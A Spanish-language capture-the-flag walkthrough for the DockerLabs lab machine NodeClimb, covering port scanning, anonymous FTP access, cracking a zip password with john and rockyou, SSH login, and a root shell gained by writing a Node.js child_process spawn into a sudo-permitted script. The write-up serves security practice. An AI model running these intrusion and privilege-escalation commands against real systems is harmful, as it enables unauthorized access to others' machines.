> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/nodeclimb.md).
# NodeClimb
### **1. Despliegue de la máquina**
#### **1.1. Descarga**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **NodeClimb** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
#### **1.2. Descompresión**
Utilizamos la herramienta `7z` para extraer los archivos:
```bash
7z x nodeclimb.zip
```
#### **1.3. Ejecución**
Desplegamos la máquina con el script proporcionado:
```bash
bash auto_deploy.sh nodeclimb.tar
```
**Resultado:** La máquina se inicia correctamente con la IP `172.17.0.2`.
### **2. Reconocimiento**
#### **2.1. Verificación de conectividad**
Realizamos un `ping` para confirmar que la máquina está activa:
```bash
ping -c 1 172.17.0.2
```
**Observación:** El valor `TTL=64` indica que el sistema operativo es **Linux** (los sistemas Windows suelen tener `TTL=128`).
#### **2.2. Escaneo de puertos**
Ejecutamos un escaneo rápido con `nmap` para identificar puertos abiertos:
```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Puertos abiertos detectados:**
* **Puerto 21:** `FTP`.
* **Puerto 22:** `SSH`.
#### **2.3. Análisis detallado de servicios**
Realizamos un escaneo más exhaustivo para identificar versiones y servicios:
```bash
nmap -p21,22 -sCV 172.17.0.2 -oN targeted
```
**Resultados:**
* **FTP (vsftpd 3.0.3):** Permite acceso anónimo (`Anonymous FTP login allowed`).
* **SSH (OpenSSH 9.2p1):** Servicio SSH estándar en sistemas Debian.
### **3. Explotación**
#### **3.1. Acceso al servicio FTP**
Nos conectamos al servicio FTP con el usuario `anonymous`:
```bash
ftp anonymous@172.17.0.2
```
**Archivo encontrado:** `secretitopicaron.zip` (un archivo comprimido protegido con contraseña).
Descargamos el archivo a nuestro equipo local:
```bash
get secretitopicaron.zip
```
#### **3.2. Fuerza bruta al archivo ZIP**
Utilizamos `zip2john` para extraer el hash de la contraseña del archivo ZIP:
```bash
zip2john secretitopicaron.zip > hash
```
Aplicamos fuerza bruta con el diccionario `rockyou.txt` para obtener la contraseña del archivo comprimido:
```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
**Resultado:** Obtenemos la contraseña del archivo ZIP.
#### **3.3. Extracción del archivo ZIP**
Descomprimimos el archivo con `7z`:
```bash
7z x secretitopicaron.zip
```
**Contenido del archivo:** Un archivo de texto con credenciales, para conectarnos por SSH.
#### **3.4. Conexión SSH**
Nos conectamos a la máquina con las credenciales obtenidas:
```bash
ssh mario@172.17.0.2
```
### **4. Escalada de privilegios**
#### **4.1. Análisis de permisos sudo**
Verificamos los comandos que el usuario `mario` puede ejecutar con sudo:
```bash
sudo -l
```
**Resultado:** El usuario puede ejecutar un script Node.js (`script.js`) como `root` sin proporcionar contraseña:
```bash
(ALL) NOPASSWD: /usr/bin/node /home/mario/script.js
```
#### **4.2. Manipulación del script**
Inspeccionamos el contenido del script:
```bash
cat script.js
```
**Observación:** El archivo está vacío y tenemos permisos para modificarlo.
Insertamos un código malicioso para generar una shell con privilegios de `root`:
```bash
echo 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})' > script.js
```
**Explicación:**
* El código utiliza el módulo `child_process` de Node.js para ejecutar una shell (`/bin/sh`).
* `stdio: [0, 1, 2]` redirige la entrada, salida y errores estándar para interactuar con la shell.
#### **4.3. Ejecución del script**
Ejecutamos el script con `sudo`:
```bash
sudo /usr/bin/node /home/mario/script.js
```
**Resultado:** Obtenemos una shell con privilegios de `root`.
